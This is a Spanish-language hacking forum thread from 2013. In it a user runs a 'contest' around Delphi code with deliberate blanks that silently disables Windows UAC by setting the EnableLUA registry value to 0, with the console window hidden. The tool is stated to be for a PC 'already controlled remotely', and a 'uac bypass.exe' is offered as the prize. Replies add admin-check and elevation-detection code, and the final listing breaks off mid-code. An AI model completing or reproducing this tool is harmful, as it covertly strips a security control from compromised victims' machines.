• concurso iniciate en delphi +regalo

 #431396  por joselin
 01 Dic 2013, 08:24
se me ocurrio una forma de compartir y que ademas que algunos se inicien en delphi
posteo este source con errores echos a proposito
[ Debe registrarse para ver este enlace ]
program Project1;
  //remplazar las x por los valores correctos y compilar
{$APPTYPE CONSOLE}//que se debe hacer aca para que la consola sea invisivble

uses
  SysUtils,
  windows,
  xxxx;//que uses utiliza el registro?



// Read REG_DWORD
function leerregistro():xxxx; //funcion resultado tipo?
var
  Reg: TRegistry;
  RegKey: DWORD;
  Key: string;

begin
  result:=false;
  Reg := TRegistry.Create;
  try
    Reg.RootKey :=  xxxx; //en que clave del registro se va a buscar?
    Key := 'xxx';//escribir ruta del registro donde  se encuentra uac

    if Reg.OpenKeyReadOnly(Key) then
    begin

      if Reg.ValueExists('EnableLUA') then
      begin

        RegKey := Reg.ReadInteger('EnableLUA');
        Reg.CloseKey;
        if  regkey = 1 then
        result :=xxx// que tipo de resultado boleano es correcto?
        else
         result:=xxx; // que tipo de resultado boleano es correcto?
       end;
    end;
  finally
    Reg.Free
  end;

end;
// Write REG_DWORD
procedure deshabilitaruac;
var
  Reg: TRegistry;
  Key: string;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := xxxx;//en que clave del registro se va a buscar?
    Key := 'xxxx'; //escribir ruta del registro donde s se encuentra uac
    if Reg.OpenKey(Key, True) then
    begin
      Reg.WriteInteger('EnableLUA', 0); //uac a cero es deshabilitar
      Reg.CloseKey;
    end;
  finally
    Reg.Free
  end;

end;


begin
if leerregistro = true  then

deshabilitaruac

else

 exir;//exir?

  { TODO -oUser -cConsole Main : Insert code here }
end.
es una consola que "ejecutada como administrador" en windows 7 (solo en este contexto) deshabilita uac desde el registro "

( hize este codigo en media hora buscando las referencias en google)

la tarea es remplazar las x con los valores correctos y
hacer que la consola sea invisible(esta indicado en el code )

osea que el ejecutable final desactivara uac en modo invisible al usuario
los interesados me envian por mensaje privado el codigo final (con todas las correcciones que les pido)
pegado en un bloc de notas y a cambio por su interes en el tema, les voy a dar
"uac bypass.exe"
al que solamente deberan agregarle como recurso (los que modean saben como)
este ejecutable que ustedes crearon , quedando totalmente funcional, para que al ser ejecutado pondra a dormir uac desde el registro(el reinicio corre por su cuenta,) la herramienta esta pensada para un
pc ya controlado remotamente
el limite de tiempo de entrega es el 6 de diciembre de 2013
los codigos con errores se descartan (solo hay una posibilidad, ya que no es un codigo complejo)
posteen su dudas referidas al tema , no a soluciones del codigo,y por mp me envian el bloc de notas con su codigo
saludos y digan que les parece la idea.
 #431409  por Pink
 01 Dic 2013, 16:29
hace falta también agregar una función si soy admin (hago lo que tengo que hacer)

saludos
 #431496  por joselin
 02 Dic 2013, 17:07
el programa que hize al ejecutarse verifica si la sesion en donde se ejecuta es de administrador y si no es asi se cierra.
en caso de ejecutarse en un entorno de sesion elevado extrae el ejecutable que esta en esta en este post y lo ejecuta como administrador sin
preguntar nada (estoy viendo la posibilidad de darle compatibilidad con 64 bit
por el momento solo funciona en 32)
saludos pink, metal
 #431498  por Metal_Kingdom
 02 Dic 2013, 18:13
Algo así?
program Project1;

{$APPTYPE GUI}

uses
  Winapi.Windows;

Function ExeIsAdmin: bool;
var
  Dir: array [0 .. MAX_PATH] of Char;
  F: THandle;
begin
  Result := False;
  GetSystemDirectory(Dir, MAX_PATH);
  F := CreateFile(PChar(Dir + '\hola.txt'), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  if F <> INVALID_HANDLE_VALUE then
  begin
    Result := True;
    CloseHandle(F);
    DeleteFile(PChar(Dir + '\hola.txt'));
  end;
end;

begin
  if ExeIsAdmin then
  begin
    { Aquí hacemos lo que queramos }
  end;

end.
Saludos.
 #431521  por joselin
 03 Dic 2013, 01:07
uso esta funcion que la saque de stackoverflow y de un codigo de snify
(forista de ic0de)que publico este año
Código: [ Debe registrarse para ver este enlace ]
function CheckTokenMembership(TokenHandle: THandle; SidToCheck: PSID; var IsMember: BOOL): BOOL; stdcall; external advapi32;
   //verifica  permiso para ejecutar
function IsUserElevatedAdmin : Bool;
const
  SECURITY_NT_AUTHORITY       : TSIDIdentifierAuthority = (Value: (0, 0, 0, 0, 0, 5));
  SECURITY_BUILTIN_DOMAIN_RID = $00000020;
  DOMAIN_ALIAS_RID_ADMINS     = $00000220;
var
  SecurityIdentifier          : PSID;
begin
   if not(AllocateAndInitializeSid (SECURITY_NT_AUTHORITY, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, SecurityIdentifier)) then exit(false);
   if (not(CheckTokenMembership(0, SecurityIdentifier, result))) then result := FALSE;
   FreeSid(SecurityIdentifier);
end;

begin

var
 VersionInfo : OSVERSIONINFO;

begin 

try
//aca deteccion Windows 7, 8:   y si el usuario es administrador
    VersionInfo.dwOSVersionInfoSize := sizeof(OSVERSIONINFO);
  GetVersionEx(VersionInfo);
  
  if ( (VersionInfo.dwMajorVersion = 6) and ( (VersionInfo.dwMinorVersion = 1) or (VersionInfo.dwMinorVersion = 2) ) and (not(IsUserElevatedAdmin)) ) then begin
metal si no te molesta, el viernes 6 entrego el programa a todos los que mandaron mp (recien conecte el disco con win7 y estoy revisando el codigo)
saludos